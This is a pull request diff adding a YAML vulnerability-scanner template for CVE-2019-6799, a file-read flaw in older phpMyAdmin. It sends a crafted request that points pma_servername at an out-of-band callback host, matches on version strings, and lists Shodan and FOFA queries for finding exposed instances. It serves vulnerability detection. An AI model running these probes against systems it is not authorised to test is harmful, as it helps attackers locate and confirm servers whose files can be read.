Merge pull request #6893 from pwnhxl/phpmyadmin-read

Create CVE-2019-6799

cves/2019/CVE-2019-6799.yaml

@@ -0,0 +1,90 @@
+id: CVE-2019-6799
+
+info:
+  name: CVE-2019-6799
+  author: pwnhxl
+  severity: high
+  description: |
+    An issue was discovered in phpMyAdmin before 4.8.5. When the AllowArbitraryServer configuration setting is set to true, with the use of a rogue MySQL server, an attacker can read any file on the server that the web server's user can access. This is related to the mysql.allow_local_infile PHP configuration, and the inadvertent ignoring of "options(MYSQLI_OPT_LOCAL_INFILE" calls.
+  reference:
+    - https://paper.seebug.org/1112/#_4
+    - https://github.com/phpmyadmin/phpmyadmin/commit/828f740158e7bf14aa4a7473c5968d06364e03a2
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6799
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-6799
+    - https://github.com/rmb122/rogue_mysql_server
+    - https://github.com/vulnspy/phpmyadmin-4.8.4-allowarbitraryserver
+  metadata:
+    verified: "true"
+    shodan-query: title:"phpmyadmin"
+    hunter-query: app.name="phpMyAdmin"&&web.body="pma_servername"&&web.body="4.8.4"
+    fofa-query: body="pma_servername" && body="4.8.4"
+  tags: cve,cve2019,phpmyadmin,mysql,fileread
+
+requests:
+  - raw:
+      - |
+        GET {{path}}?pma_servername={{interactsh-url}}&pma_username={{randstr}}&pma_password={{randstr}}&server=1 HTTP/1.1
+        Host: {{Hostname}}
+
+    payloads:
+      path:
+        - "/index.php"
+        - "/pma/index.php"
+        - "/pmd/index.php"
+        - "/phpMyAdmin/index.php"
+        - "/phpmyadmin/index.php"
+        - "/_phpmyadmin/index.php"
+    attack: batteringram
+
+    extractors:
+      - type: regex
+        name: version
+        internal: true
+        group: 1
+        regex:
+          - '\?v=([0-9.]+)'
+
+      - type: regex
+        group: 1
+        regex:
+          - '\?v=([0-9.]+)'
+
+      - type: regex
+        name: phpversion
+        part: header
+        internal: true
+        group: 1
+        regex:
+          - "X-Powered-By: PHP/([0-9.]+)"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        words:
+          - "mysqli_real_connect"
+
+      - type: word
+        words:
+          - "pma_servername"
+
+      - type: dsl
+        dsl:
+          - compare_versions(version, '< 4.8.5')
+
+      - type: dsl
+        dsl:
+          - compare_versions(version, '> 3.9.9')
+
+      - type: dsl
+        dsl:
+          - compare_versions(phpversion, '< 7.3.4')
+
+      - type: status
+        status:
+          - 200